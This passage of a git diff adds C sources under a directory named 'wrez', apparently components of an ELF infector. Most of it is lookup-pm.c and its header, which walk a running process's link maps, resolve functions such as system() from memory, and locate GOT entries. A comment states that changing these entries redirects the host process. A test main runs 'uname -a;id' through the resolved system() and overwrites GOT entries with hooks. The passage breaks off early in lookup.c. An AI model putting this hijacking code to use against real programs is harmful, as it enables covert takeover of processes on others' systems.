| 1337 | |||
| 1338 | %endif | ||
diff --git a/other/wrez/lime.o b/other/wrez/lime.o new file mode 100644 index 0000000..624c789 --- /dev/null +++ b/other/wrez/lime.o | |||
| Binary files differ | |||
diff --git a/other/wrez/lookup-example/shared-library-build.sh b/other/wrez/lookup-example/shared-library-build.sh new file mode 100755 index 0000000..e9832db --- /dev/null +++ b/other/wrez/lookup-example/shared-library-build.sh | |||
| @@ -0,0 +1,6 @@ | |||
| 1 | #!/bin/sh | ||
| 2 | |||
| 3 | gcc -Wall -fPIC -g -ggdb -c -o shared-library.o shared-library.c | ||
| 4 | ld -Bshareable -o libshared-library.so shared-library.o | ||
| 5 | gcc -L`pwd` -o shared-library-use shared-library-use.c -lshared-library | ||
| 6 | |||
diff --git a/other/wrez/lookup-example/shared-library-use.c b/other/wrez/lookup-example/shared-library-use.c new file mode 100644 index 0000000..f6f30b6 --- /dev/null +++ b/other/wrez/lookup-example/shared-library-use.c | |||
| @@ -0,0 +1,16 @@ | |||
| 1 | |||
| 2 | #include <stdio.h> | ||
| 3 | #include "shared-library.h" | ||
| 4 | |||
| 5 | |||
| 6 | int | ||
| 7 | main (int argc, char *argv[]) | ||
| 8 | { | ||
| 9 | void * cow; | ||
| 10 | |||
| 11 | printf ("before calling func\n"); | ||
| 12 | cow = mysharedfunc (2000); | ||
| 13 | printf ("after calling func\n"); | ||
| 14 | } | ||
| 15 | |||
| 16 | |||
diff --git a/other/wrez/lookup-example/shared-library.c b/other/wrez/lookup-example/shared-library.c new file mode 100644 index 0000000..1f06409 --- /dev/null +++ b/other/wrez/lookup-example/shared-library.c | |||
| @@ -0,0 +1,44 @@ | |||
| 1 | |||
| 2 | #include <stdio.h> | ||
| 3 | #include <stdlib.h> | ||
| 4 | |||
| 5 | |||
| 6 | int | ||
| 7 | myshareddeepfunc (int cow); | ||
| 8 | |||
| 9 | |||
| 10 | void * | ||
| 11 | mysharedfunc (unsigned int size) | ||
| 12 | { | ||
| 13 | void * foo; | ||
| 14 | |||
| 15 | |||
| 16 | fprintf (stderr, "mysharedfunc\n"); | ||
| 17 | |||
| 18 | foo = malloc (size); | ||
| 19 | fprintf (stderr, " # called malloc\n"); | ||
| 20 | |||
| 21 | free (foo); | ||
| 22 | fprintf (stderr, " # called free\n"); | ||
| 23 | |||
| 24 | foo = malloc (10 * size); | ||
| 25 | fprintf (stderr, " # called malloc\n"); | ||
| 26 | |||
| 27 | free (foo); | ||
| 28 | fprintf (stderr, " # called free\n"); | ||
| 29 | |||
| 30 | /* example for deep call */ | ||
| 31 | if (myshareddeepfunc (size / 2) == size) | ||
| 32 | return ((void *) 0); | ||
| 33 | |||
| 34 | return (foo); | ||
| 35 | } | ||
| 36 | |||
| 37 | |||
| 38 | int | ||
| 39 | myshareddeepfunc (int cow) | ||
| 40 | { | ||
| 41 | return (cow / 2); | ||
| 42 | } | ||
| 43 | |||
| 44 | |||
diff --git a/other/wrez/lookup-example/shared-library.h b/other/wrez/lookup-example/shared-library.h new file mode 100644 index 0000000..72ee7be --- /dev/null +++ b/other/wrez/lookup-example/shared-library.h | |||
| @@ -0,0 +1,10 @@ | |||
| 1 | |||
| 2 | #ifndef SHARED_LIBRARY_H | ||
| 3 | #define SHARED_LIBRARY_H | ||
| 4 | |||
| 5 | void * | ||
| 6 | mysharedfunc (unsigned int size); | ||
| 7 | |||
| 8 | #endif | ||
| 9 | |||
| 10 | |||
diff --git a/other/wrez/lookup-example/shared-library.o b/other/wrez/lookup-example/shared-library.o new file mode 100644 index 0000000..b8fc17f --- /dev/null +++ b/other/wrez/lookup-example/shared-library.o | |||
| Binary files differ | |||
diff --git a/other/wrez/lookup-pm.c b/other/wrez/lookup-pm.c new file mode 100644 index 0000000..acbc69a --- /dev/null +++ b/other/wrez/lookup-pm.c | |||
| @@ -0,0 +1,522 @@ | |||
| 1 | /* written by some clever unnamed person | ||
| 2 | * lots of fixes and changes by someone else | ||
| 3 | */ | ||
| 4 | |||
| 5 | |||
| 6 | #include <elf.h> | ||
| 7 | #include "lookup-pm.h" | ||
| 8 | |||
| 9 | #ifdef TESTING | ||
| 10 | #include <stdio.h> | ||
| 11 | #include <stdlib.h> | ||
| 12 | #include <stdio.h> | ||
| 13 | #include <unistd.h> | ||
| 14 | #include "lookup-example/shared-library.h" | ||
| 15 | #else | ||
| 16 | #include "common.c" | ||
| 17 | #endif | ||
| 18 | |||
| 19 | |||
| 20 | #define pfc(a) (pf (a) & 0xff) | ||
| 21 | |||
| 22 | |||
| 23 | struct link_map { | ||
| 24 | Elf32_Addr l_addr; | ||
| 25 | char * l_name; | ||
| 26 | Elf32_Dyn * l_ld; /* .dynamic ptr */ | ||
| 27 | struct link_map * l_next; | ||
| 28 | struct link_map * l_prev; | ||
| 29 | }; | ||
| 30 | |||
| 31 | |||
| 32 | struct sym_helper { | ||
| 33 | Elf32_Dyn * dynsymtab; /* DT_SYMTAB symbol table */ | ||
| 34 | Elf32_Dyn * dynstrtab; /* DT_STRTAB string table */ | ||
| 35 | Elf32_Word * dynhash; /* DT_HASH hashtable */ | ||
| 36 | }; | ||
| 37 | |||
| 38 | |||
| 39 | static int strstr (peekmemfunc pf, unsigned char *s1_hay, | ||
| 40 | unsigned char *s2_needle); | ||
| 41 | static inline int strmatch (peekmemfunc pf, unsigned char *s1, | ||
| 42 | unsigned char *s2, int s2_direct); | ||
| 43 | static inline struct link_map *locate_link_map (peekmemfunc pf, void *mybase); | ||
| 44 | static inline Elf32_Dyn * dynamic_address (peekmemfunc pf, void *mybase); | ||
| 45 | static inline Elf32_Dyn * dynamic_findtype (peekmemfunc pf, | ||
| 46 | Elf32_Dyn *dyntab, Elf32_Sword dttype); | ||
| 47 | static inline Elf32_Sym * symtab_findfunc (peekmemfunc pf, | ||
| 48 | Elf32_Sym *sym, char *name, char *strtab, Elf32_Word *hash); | ||
| 49 | static inline unsigned long elf_hash (const char *name); | ||
| 50 | void * symbol_resolve (peekmemfunc pf, void *mybase, char *sym_name); | ||
| 51 | |||
| 52 | |||
| 53 | static int | ||
| 54 | strstr (peekmemfunc pf, unsigned char *s1_hay, unsigned char *s2_needle) | ||
| 55 | { | ||
| 56 | unsigned char * s1wh; | ||
| 57 | unsigned char * s2wn; | ||
| 58 | |||
| 59 | while (pfc (s1_hay) != 0) { | ||
| 60 | s1wh = s1_hay++; | ||
| 61 | s2wn = s2_needle; | ||
| 62 | |||
| 63 | while (pfc (s1wh++) == *s2wn++) { | ||
| 64 | if (*s2wn == 0) | ||
| 65 | return (0); /* found */ | ||
| 66 | } | ||
| 67 | } | ||
| 68 | |||
| 69 | return (1); /* not found */ | ||
| 70 | } | ||
| 71 | |||
| 72 | |||
| 73 | /* strmatch | ||
| 74 | * | ||
| 75 | * simple asciiz conform compare of strings at `s1' and `s2'. `pf' is the | ||
| 76 | * memory peek function that pulls the bytes from the addresses. `s1' is | ||
| 77 | * always chained over `pf', but for `s2' the `s2_direct' parameter controls | ||
| 78 | * the desired behavious: when s2_direct is != 0, then s2 is treated as direct | ||
| 79 | * pointer into current address space. when s2_direct is zero, it will be | ||
| 80 | * looked up just as s1 is. | ||
| 81 | * | ||
| 82 | * return 0 if strings are equal, including terminating NUL character | ||
| 83 | * return != 0 if strings differ | ||
| 84 | */ | ||
| 85 | |||
| 86 | static inline int | ||
| 87 | strmatch (peekmemfunc pf, unsigned char *s1, | ||
| 88 | unsigned char *s2, int s2_direct) | ||
| 89 | { | ||
| 90 | if (s2_direct == 0) { | ||
| 91 | while (pfc (s1++) == pfc (s2++)) | ||
| 92 | if (pfc (s1) == 0 && pfc (s2) == 0) | ||
| 93 | return (0); | ||
| 94 | } else { | ||
| 95 | while (pfc (s1++) == *s2++) | ||
| 96 | if (pfc (s1) == 0 && *s2 == 0) | ||
| 97 | return (0); | ||
| 98 | } | ||
| 99 | |||
| 100 | return (1); | ||
| 101 | } | ||
| 102 | |||
| 103 | |||
| 104 | static inline struct link_map * | ||
| 105 | locate_link_map (peekmemfunc pf, void *mybase) | ||
| 106 | { | ||
| 107 | Elf32_Word * got = NULL; | ||
| 108 | Elf32_Dyn * dyn; | ||
| 109 | struct link_map * lm; | ||
| 110 | |||
| 111 | |||
| 112 | dyn = dynamic_address (pf, mybase); | ||
| 113 | if (dyn == NULL) | ||
| 114 | return (NULL); | ||
| 115 | |||
| 116 | dyn = dynamic_findtype (pf, dyn, DT_PLTGOT); | ||
| 117 | if (dyn == NULL) | ||
| 118 | return (NULL); | ||
| 119 | |||
| 120 | got = (Elf32_Word *) pf (&dyn->d_un.d_ptr); | ||
| 121 | |||
| 122 | /* platform dependant */ | ||
| 123 | #define GOT_LM_PTR 1 | ||
| 124 | lm = (struct link_map *) pf (&got[GOT_LM_PTR]); | ||
| 125 | while (lm != NULL && pf (&lm->l_prev) != 0) | ||
| 126 | lm = (struct link_map *) pf (&lm->l_prev); | ||
| 127 | |||
| 128 | return (lm); | ||
| 129 | } | ||
| 130 | |||
| 131 | |||
| 132 | static inline Elf32_Dyn * | ||
| 133 | dynamic_address (peekmemfunc pf, void *mybase) | ||
| 134 | { | ||
| 135 | Elf32_Ehdr * e = (Elf32_Ehdr *) mybase; | ||
| 136 | int phw; | ||
| 137 | Elf32_Phdr * ph; | ||
| 138 | |||
| 139 | |||
| 140 | ph = (Elf32_Phdr *) ((char *) e + pf (&e->e_phoff)); | ||
| 141 | |||
| 142 | for (phw = 0 ; phw < (pf (&e->e_phnum) & 0xffff) ; ++phw) { | ||
| 143 | if (pf (&ph[phw].p_type) == PT_DYNAMIC) | ||
| 144 | return ((Elf32_Dyn *) pf (&ph[phw].p_vaddr)); | ||
| 145 | } | ||
| 146 | |||
| 147 | return (NULL); | ||
| 148 | } | ||
| 149 | |||
| 150 | |||
| 151 | static inline Elf32_Dyn * | ||
| 152 | dynamic_findtype (peekmemfunc pf, Elf32_Dyn *dyntab, Elf32_Sword dttype) | ||
| 153 | { | ||
| 154 | for ( ; pf (&dyntab->d_tag) != DT_NULL ; ++dyntab) { | ||
| 155 | if (pf (&dyntab->d_tag) == dttype) { | ||
| 156 | return (dyntab); | ||
| 157 | |||
| 158 | break; | ||
| 159 | } | ||
| 160 | } | ||
| 161 | |||
| 162 | return (NULL); | ||
| 163 | } | ||
| 164 | |||
| 165 | |||
| 166 | static inline Elf32_Sym * | ||
| 167 | symtab_findfunc (peekmemfunc pf, Elf32_Sym *sym, char *name, char *strtab, | ||
| 168 | Elf32_Word *hash) | ||
| 169 | { | ||
| 170 | unsigned long tidx; /* table index */ | ||
| 171 | Elf32_Word * chain = &hash[2 + pf (&hash[0])]; | ||
| 172 | |||
| 173 | |||
| 174 | for (tidx = pf (&hash[2 + (elf_hash (name) % pf (&hash[0]))]) ; | ||
| 175 | tidx != STN_UNDEF ; tidx = pf (&chain[tidx])) | ||
| 176 | { | ||
| 177 | if (ELF32_ST_TYPE (pfc (&sym[tidx].st_info)) != STT_FUNC) | ||
| 178 | continue; | ||
| 179 | |||
| 180 | if (strmatch (pf, &strtab[pf (&sym[tidx].st_name)], name, 1) == 0) | ||
| 181 | return (&sym[tidx]); | ||
| 182 | } | ||
| 183 | |||
| 184 | return (NULL); | ||
| 185 | } | ||
| 186 | |||
| 187 | |||
| 188 | |||
| 189 | static inline unsigned long | ||
| 190 | elf_hash (const char *name) | ||
| 191 | { | ||
| 192 | unsigned long h = 0, | ||
| 193 | g; | ||
| 194 | |||
| 195 | |||
| 196 | while (*name) { | ||
| 197 | h = (h << 4) + *name++; | ||
| 198 | |||
| 199 | if ((g = h & 0xf0000000)) | ||
| 200 | h ^= g >> 24; | ||
| 201 | h &= ~g; | ||
| 202 | } | ||
| 203 | |||
| 204 | return (h); | ||
| 205 | } | ||
| 206 | |||
| 207 | |||
| 208 | static int | ||
| 209 | symbol_helpstruct (peekmemfunc pf, void *mybase, Elf32_Dyn *dyno, | ||
| 210 | struct sym_helper *shlp) | ||
| 211 | { | ||
| 212 | Elf32_Dyn * dyn; | ||
| 213 | |||
| 214 | |||
| 215 | shlp->dynsymtab = shlp->dynstrtab = | ||
| 216 | (void *) shlp->dynhash = (void *) NULL; | ||
| 217 | |||
| 218 | if (dyno != NULL) | ||
| 219 | dyn = dyno; | ||
| 220 | else | ||
| 221 | dyn = dynamic_address (pf, mybase); | ||
| 222 | |||
| 223 | if (dyn == NULL) | ||
| 224 | return (1); | ||
| 225 | |||
| 226 | shlp->dynsymtab = dynamic_findtype (pf, dyn, DT_SYMTAB); | ||
| 227 | shlp->dynstrtab = dynamic_findtype (pf, dyn, DT_STRTAB); | ||
| 228 | dyn = dynamic_findtype (pf, dyn, DT_HASH); | ||
| 229 | if (dyn != NULL) | ||
| 230 | shlp->dynhash = (Elf32_Word *) (pf (&dyn->d_un.d_ptr)); | ||
| 231 | |||
| 232 | if (shlp->dynsymtab == NULL || shlp->dynstrtab == NULL || | ||
| 233 | shlp->dynhash == NULL) | ||
| 234 | { | ||
| 235 | return (1); | ||
| 236 | } | ||
| 237 | |||
| 238 | return (0); | ||
| 239 | } | ||
| 240 | |||
| 241 | |||
| 242 | int | ||
| 243 | lib_ismapped (peekmemfunc pf, void *mybase, char *str) | ||
| 244 | { | ||
| 245 | struct link_map * lm; | ||
| 246 | |||
| 247 | |||
| 248 | for (lm = locate_link_map (pf, mybase) ; lm != NULL ; | ||
| 249 | lm = (struct link_map *) pf (&lm->l_next)) { | ||
| 250 | if (strstr (pf, (unsigned char *) pf (&lm->l_name), str) == 0) | ||
| 251 | return (1); | ||
| 252 | } | ||
| 253 | |||
| 254 | return (0); | ||
| 255 | } | ||
| 256 | |||
| 257 | |||
| 258 | void * | ||
| 259 | symbol_resolve (peekmemfunc pf, void *mybase, char *sym_name) | ||
| 260 | { | ||
| 261 | struct sym_helper shlp; | ||
| 262 | struct link_map * lm; | ||
| 263 | Elf32_Sym * psym; | ||
| 264 | Elf32_Dyn * dwalk; | ||
| 265 | |||
| 266 | |||
| 267 | lm = locate_link_map (pf, mybase); | ||
| 268 | if (lm == NULL) | ||
| 269 | return (NULL); | ||
| 270 | |||
| 271 | /* scan link maps for the symbol | ||
| 272 | */ | ||
| 273 | for ( ; pf (&lm->l_next) != 0 ; | ||
| 274 | lm = (struct link_map *) pf (&lm->l_next)) | ||
| 275 | { | ||
| 276 | /* compile necessary info for this link map | ||
| 277 | */ | ||
| 278 | for (dwalk = (Elf32_Dyn *) pf (&lm->l_ld) ; | ||
| 279 | pf (&dwalk->d_tag) != DT_NULL ; ++dwalk) | ||
| 280 | { | ||
| 281 | switch (pf (&dwalk->d_tag)) { | ||
| 282 | case (DT_HASH): | ||
| 283 | shlp.dynhash = (Elf32_Word *) | ||
| 284 | (((char *) pf (&dwalk->d_un.d_ptr)) + | ||
| 285 | pf (&lm->l_addr)); | ||
| 286 | break; | ||
| 287 | case (DT_STRTAB): | ||
| 288 | shlp.dynstrtab = dwalk; | ||
| 289 | break; | ||
| 290 | case (DT_SYMTAB): | ||
| 291 | shlp.dynsymtab = dwalk; | ||
| 292 | break; | ||
| 293 | default: | ||
| 294 | break; | ||
| 295 | } | ||
| 296 | } | ||
| 297 | |||
| 298 | psym = symtab_findfunc (pf, | ||
| 299 | (Elf32_Sym *) pf (&shlp.dynsymtab->d_un.d_ptr), | ||
| 300 | sym_name, (char *) pf (&shlp.dynstrtab->d_un.d_ptr), | ||
| 301 | shlp.dynhash); | ||
| 302 | |||
| 303 | if (psym != NULL) | ||
| 304 | return (((char *) pf (&lm->l_addr)) + | ||
| 305 | pf (&psym->st_value)); | ||
| 306 | } | ||
| 307 | |||
| 308 | return (NULL); | ||
| 309 | } | ||
| 310 | |||
| 311 | |||
| 312 | int | ||
| 313 | got_funcloc_array (peekmemfunc pf, void *mybase, char *name, | ||
| 314 | Elf32_Word *darr[], int darr_len, char *substr) | ||
| 315 | { | ||
| 316 | int darr_cur = 0; | ||
| 317 | struct link_map * lm; | ||
| 318 | |||
| 319 | |||
| 320 | lm = locate_link_map (pf, mybase); | ||
| 321 | |||
| 322 | while (darr_cur < darr_len) { | ||
| 323 | /* no more link maps to process | ||
| 324 | */ | ||
| 325 | if (lm == NULL) | ||
| 326 | return (darr_cur); | ||
| 327 | |||
| 328 | #ifdef TESTING_DEBUG | ||
| 329 | printf ("%s @ 0x%08x\n", lm->l_name, (unsigned int) lm->l_ld); | ||
| 330 | #endif | ||
| 331 | if (substr == NULL || strstr (pf, | ||
| 332 | (unsigned char *) pf (&lm->l_name), substr) == 0) | ||
| 333 | { | ||
| 334 | darr[darr_cur] = got_funcloc_dyn (pf, | ||
| 335 | (Elf32_Dyn *) pf (&lm->l_ld), | ||
| 336 | (Elf32_Addr) pf (&lm->l_addr), name); | ||
| 337 | |||
| 338 | if (darr[darr_cur] != NULL) | ||
| 339 | darr_cur += 1; /* good god, got a GOT entry */ | ||
| 340 | } | ||
| 341 | |||
| 342 | /* next linkmap | ||
| 343 | */ | ||
| 344 | lm = (struct link_map *) pf (&lm->l_next); | ||
| 345 | } | ||
| 346 | |||
| 347 | return (darr_cur); | ||
| 348 | } | ||
| 349 | |||
| 350 | |||
| 351 | Elf32_Word * | ||
| 352 | got_funcloc (peekmemfunc pf, void *mybase, char *name) | ||
| 353 | { | ||
| 354 | Elf32_Dyn * dyn = dynamic_address (pf, mybase); | ||
| 355 | |||
| 356 | return ((Elf32_Word *) got_funcloc_dyn (pf, dyn, 0, name)); | ||
| 357 | } | ||
| 358 | |||
| 359 | |||
| 360 | Elf32_Word * | ||
| 361 | got_funcloc_dyn (peekmemfunc pf, Elf32_Dyn *dyno, Elf32_Addr loadbase, | ||
| 362 | char *name) | ||
| 363 | { | ||
| 364 | struct sym_helper shlp; | ||
| 365 | Elf32_Dyn * pltrel; | ||
| 366 | Elf32_Dyn * pltrelsz; | ||
| 367 | |||
| 368 | unsigned int rwk; /* relocation walker */ | ||
| 369 | Elf32_Rel * relw; | ||
| 370 | Elf32_Sym * rsym; | ||
| 371 | |||
| 372 | |||
| 373 | if (symbol_helpstruct (pf, NULL, dyno, &shlp)) | ||
| 374 | return (NULL); | ||
| 375 | shlp.dynhash = (Elf32_Word *) (((char *) shlp.dynhash) + | ||
| 376 | loadbase); | ||
| 377 | |||
| 378 | pltrel = dynamic_findtype (pf, dyno, DT_JMPREL); | ||
| 379 | pltrelsz = dynamic_findtype (pf, dyno, DT_PLTRELSZ); | ||
| 380 | if (pltrel == NULL || pltrelsz == NULL) | ||
| 381 | return (NULL); | ||
| 382 | |||
| 383 | /* walk all relocation entries for the .plt | ||
| 384 | */ | ||
| 385 | relw = (Elf32_Rel *) (pf (&pltrel->d_un.d_ptr)); | ||
| 386 | for (rwk = pf (&pltrelsz->d_un.d_val) / sizeof (Elf32_Rel) ; | ||
| 387 | rwk > 0 ; --rwk, relw += 1) | ||
| 388 | { | ||
| 389 | if (ELF32_R_TYPE (pf (&relw->r_info)) != R_386_JMP_SLOT) | ||
| 390 | continue; | ||
| 391 | |||
| 392 | if (ELF32_R_SYM (pf (&relw->r_info)) == STN_UNDEF) | ||
| 393 | continue; | ||
| 394 | |||
| 395 | rsym = (Elf32_Sym *) pf (&shlp.dynsymtab->d_un.d_ptr); | ||
| 396 | rsym = &rsym[ELF32_R_SYM (pf (&relw->r_info))]; | ||
| 397 | |||
| 398 | if (strmatch (pf, &(((char *) | ||
| 399 | pf (&shlp.dynstrtab->d_un.d_ptr))[pf (&rsym->st_name)]), | ||
| 400 | name, 1) == 0) | ||
| 401 | { | ||
| 402 | /* rsym->st_value: | ||
| 403 | * == 0: | ||
| 404 | * got = loadbase + relw->r_offset | ||
| 405 | * != 0: | ||
| 406 | * func_entry = loadbase + rsym->st_value | ||
| 407 | * got = loadbase + relw->r_offset | ||
| 408 | */ | ||
| 409 | #ifdef TESTING_DEBUG | ||
| 410 | printf ("rsym: %s\n", &(((char *) | ||
| 411 | shlp.dynstrtab->d_un.d_ptr)[rsym->st_name])); | ||
| 412 | #endif | ||
| 413 | return ((Elf32_Word *) (loadbase + pf (&relw->r_offset))); | ||
| 414 | } | ||
| 415 | |||
| 416 | #ifdef TESTING_DEBUG_VERBOSE | ||
| 417 | printf ("rsym: %s\n", &(((char *) | ||
| 418 | shlp.dynstrtab->d_un.d_ptr)[rsym->st_name])); | ||
| 419 | #endif | ||
| 420 | } | ||
| 421 | |||
| 422 | return (NULL); | ||
| 423 | } | ||
| 424 | |||
| 425 | |||
| 426 | unsigned int | ||
| 427 | pf_copy (void *addr) | ||
| 428 | { | ||
| 429 | unsigned int * uiptr = (unsigned int *) addr; | ||
| 430 | |||
| 431 | return (*uiptr); | ||
| 432 | } | ||
| 433 | |||
| 434 | |||
| 435 | #ifdef TESTING | ||
| 436 | void * | ||
| 437 | my_malloc (unsigned int size) | ||
| 438 | { | ||
| 439 | fprintf (stderr, "my_malloc (%u)\n", size); | ||
| 440 | |||
| 441 | return (NULL); | ||
| 442 | } | ||
| 443 | |||
| 444 | |||
| 445 | int | ||
| 446 | main (void) | ||
| 447 | { | ||
| 448 | int n, | ||
| 449 | wk; | ||
| 450 | |||
| 451 | void * my_addr = (void *) 0x08048000; | ||
| 452 | char * sym_name = "system"; | ||
| 453 | int (*systemf)(char *); | ||
| 454 | |||
| 455 | Elf32_Word * got_printf; | ||
| 456 | Elf32_Word * got_system; | ||
| 457 | Elf32_Word * got_malloc; | ||
| 458 | |||
| 459 | char * eargv[3] = { "/usr/bin/id", "id", NULL }; | ||
| 460 | Elf32_Word * got_execve; | ||
| 461 | Elf32_Word * got_arr[16]; | ||
| 462 | |||
| 463 | |||
| 464 | #if 1 | ||
| 465 | printf ("ismapped(\"libpcap\") = %d\n", | ||
| 466 | lib_ismapped (pf_copy, my_addr, "libpcap")); | ||
| 467 | printf ("ismapped(\"libc.so\") = %d\n", | ||
| 468 | lib_ismapped (pf_copy, my_addr, "libc.so")); | ||
| 469 | printf ("ismapped(\"libpam\") = %d\n", | ||
| 470 | lib_ismapped (pf_copy, my_addr, "libpam")); | ||
| 471 | #endif | ||
| 472 | |||
| 473 | systemf = symbol_resolve (pf_copy, my_addr, sym_name); | ||
| 474 | if (systemf == NULL) | ||
| 475 | _exit (1); | ||
| 476 | |||
| 477 | (*systemf)("uname -a;id;\n"); | ||
| 478 | system("echo real system;\n"); | ||
| 479 | |||
| 480 | #if 1 | ||
| 481 | printf ("hello\n"); | ||
| 482 | |||
| 483 | got_printf = got_funcloc (pf_copy, my_addr, "printf"); | ||
| 484 | got_system = got_funcloc (pf_copy, my_addr, "system"); | ||
| 485 | got_execve = got_funcloc (pf_copy, my_addr, "execve"); | ||
| 486 | |||
| 487 | /* get execve GOT table locations | ||
| 488 | */ | ||
| 489 | n = got_funcloc_array (pf_copy, my_addr, "myshareddeepfunc", | ||
| 490 | got_arr, 16, "shared-library"); | ||
| 491 | printf ("got_funcloc_array (myshareddeepfunc) = %d\n", n); | ||
| 492 | for (wk = 0 ; wk < n ; ++wk) | ||
| 493 | printf (" got_arr[%d] = 0x%08x [0x%08x]\n", wk, | ||
| 494 | (unsigned int) got_arr[wk], | ||
| 495 | *got_arr[wk]); | ||
| 496 | |||
| 497 | got_malloc = got_arr[0]; | ||
| 498 | *got_malloc = (Elf32_Word) my_malloc; | ||
| 499 | |||
| 500 | mysharedfunc (1911); | ||
| 501 | #endif | ||
| 502 | #if 0 | ||
| 503 | /* replace execve, then try to call execve and then system | ||
| 504 | */ | ||
| 505 | *got_execve = (Elf32_Word) my_execve; | ||
| 506 | execve (eargv[0], eargv, NULL); | ||
| 507 | system ("echo \"execve NOT hooked within system() call\""); | ||
| 508 | |||
| 509 | /* swap printf and system GOT entries, that is fun! | ||
| 510 | */ | ||
| 511 | *got_printf ^= *got_system; | ||
| 512 | *got_system ^= *got_printf; | ||
| 513 | *got_printf ^= *got_system; | ||
| 514 | |||
| 515 | printf ("echo printf called, system executed;id;uname -a;\n"); | ||
| 516 | system ("system called, printf executed\n"); | ||
| 517 | #endif | ||
| 518 | |||
| 519 | return (0); | ||
| 520 | } | ||
| 521 | #endif | ||
| 522 | |||
diff --git a/other/wrez/lookup-pm.h b/other/wrez/lookup-pm.h new file mode 100644 index 0000000..388b226 --- /dev/null +++ b/other/wrez/lookup-pm.h | |||
| @@ -0,0 +1,85 @@ | |||
| 1 | |||
| 2 | #ifndef LOOKUP_H | ||
| 3 | #define LOOKUP_H | ||
| 4 | |||
| 5 | #include <elf.h> | ||
| 6 | |||
| 7 | /* generic type definition to be used when the peek-mem feature is required | ||
| 8 | * | ||
| 9 | * on all functions, the `pf' parameter is the function that peeks into the | ||
| 10 | * memory at the given address, returning the 32 bit word at its place | ||
| 11 | */ | ||
| 12 | typedef unsigned int (* peekmemfunc)(void *); | ||
| 13 | |||
| 14 | |||
| 15 | /* lib_ismapped | ||
| 16 | * | ||
| 17 | * walk through the list of all mapped libraries and perform a strstr | ||
| 18 | * substring search on the library name with the string `str' as needle. | ||
| 19 | * | ||
| 20 | * example: if (lib_ismapped (0x08048000, "libc.so")) { | ||
| 21 | * | ||
| 22 | * return 0 if the library is not mapped | ||
| 23 | * return 1 if the library is mapped | ||
| 24 | */ | ||
| 25 | |||
| 26 | int | ||
| 27 | lib_ismapped (peekmemfunc pf, void *mybase, char *str); | ||
| 28 | |||
| 29 | |||
| 30 | /* symbol_resolve | ||
| 31 | * | ||
| 32 | * try to resolve the function symbol with the name `sym_name' within the | ||
| 33 | * current executeable. the base address (first byte of .text, first byte of | ||
| 34 | * first PT_LOAD segment) is needed to locate the tables necessary for the | ||
| 35 | * lookup. it is normally 0x08048000 for a gcc compiled linux binary. | ||
| 36 | * | ||
| 37 | * return pointer to function named `sym_name' on success | ||
| 38 | * return NULL in case of failure (symbol was not found) | ||
| 39 | */ | ||
| 40 | |||
| 41 | void * | ||
| 42 | symbol_resolve (peekmemfunc pf, void *mybase, char *sym_name); | ||
| 43 | |||
| 44 | |||
| 45 | /* got_funcloc | ||
| 46 | * | ||
| 47 | * try to locate the function `name's got entry address. the executeable base | ||
| 48 | * must be given through `mybase'. this is where the elf header is supposed to | ||
| 49 | * be. the difference of this function to symbol_resolve is that you can only | ||
| 50 | * find functions used by the host program with this one, while symbol_resolve | ||
| 51 | * will locate any mapped one. also, this function returns a pointer to the | ||
| 52 | * GOT address, not the address itself. by changing the GOT entry you can | ||
| 53 | * redirect the execution of the host process. but be advised, that the code | ||
| 54 | * you are redirecting it to has to be mapped. | ||
| 55 | * | ||
| 56 | * return NULL on failure (function not found, insufficient dynamic info) | ||
| 57 | * this is often the case, when the host program does not use the function | ||
| 58 | * return pointer to GOT entry on success. [retval] is the address itself. | ||
| 59 | */ | ||
| 60 | |||
| 61 | Elf32_Word * | ||
| 62 | got_funcloc (peekmemfunc pf, void *mybase, char *name); | ||
| 63 | |||
| 64 | Elf32_Word * | ||
| 65 | got_funcloc_dyn (peekmemfunc pf, Elf32_Dyn *dyno, Elf32_Addr loadbase, | ||
| 66 | char *name); | ||
| 67 | |||
| 68 | |||
| 69 | /* got_funcloc_array | ||
| 70 | * | ||
| 71 | * build an array of GOT locations through all available link maps. the base | ||
| 72 | * of the current elf is needed (`mybase'). the name of the function symbol | ||
| 73 | * to be resolved is `name', and the array will be put at `darr', where no | ||
| 74 | * more than `darr_len' entries will be put. if `substr' is non-NULL, only | ||
| 75 | * libraries with a full pathname containing `substr' will be processed. | ||
| 76 | * | ||
| 77 | * return the number (< darr_len) of entires stored, 0 for none | ||
| 78 | */ | ||
| 79 | |||
| 80 | int | ||
| 81 | got_funcloc_array (peekmemfunc pf, void *mybase, char *name, | ||
| 82 | Elf32_Word *darr[], int darr_len, char *substr); | ||
| 83 | |||
| 84 | #endif | ||
| 85 | |||
diff --git a/other/wrez/lookup.c b/other/wrez/lookup.c new file mode 100644 index 0000000..7389525 --- /dev/null +++ b/other/wrez/lookup.c | |||
| @@ -0,0 +1,485 @@ | |||
| 1 | /* written by some clever unnamed person | ||
| 2 | * lots of fixes and changes by someone else | ||
| 3 | */ | ||
| 4 | |||
| 5 | |||
| 6 | #include <elf.h> | ||
| 7 | #include "lookup.h" | ||
| 8 | |||
| 9 | #ifdef TESTING | ||
| 10 | #include <stdio.h> | ||
| 11 | #include <stdlib.h> | ||
| 12 | #include <stdio.h> | ||
| 13 | #include <unistd.h> | ||
| 14 | #include "lookup-example/shared-library.h" | ||
| 15 | #else | ||
| 16 | #include "common.c" | ||
| 17 | #endif | ||
| 18 | |||
| 19 | |||
| 20 | struct link_map { | ||
| 21 | Elf32_Addr l_addr; | ||
| 22 | char * l_name; | ||
| 23 | Elf32_Dyn * l_ld; /* .dynamic ptr */ | ||
| 24 | struct link_map * l_next; | ||
| 25 | struct link_map * l_prev; | ||
| 26 | }; | ||
| 27 | |||
| 28 | |||
| 29 | struct sym_helper { | ||
| 30 | Elf32_Dyn * dynsymtab; /* DT_SYMTAB symbol table */ | ||
| 31 | Elf32_Dyn * dynstrtab; /* DT_STRTAB string table */ | ||
| 32 | Elf32_Word * dynhash; /* DT_HASH hashtable */ | ||
| 33 | }; | ||
| 34 | |||
| 35 | |||
| 36 | static int strstr (unsigned char *s1_hay, unsigned char *s2_needle); | ||
| 37 | static int strmatch (char *s1, char *s2); | ||
| 38 | static struct link_map * locate_link_map (void *mybase); | ||
| 39 | static inline unsigned long elf_hash (const char *name); | ||
| 40 | |||
| 41 | static Elf32_Dyn * dynamic_address (void *mybase); | ||
| 42 | static Elf32_Dyn * dynamic_findtype (Elf32_Dyn *dyntab, | ||
| 43 | Elf32_Sword dttype); | ||
| 44 | static int symbol_helpstruct (void *mybase, Elf32_Dyn *dyno, | ||
| 45 | struct sym_helper *shlp); | ||
| 46 | |||
| 47 | static Elf32_Sym * symtab_findfunc (Elf32_Sym *symstart, char *name, | ||
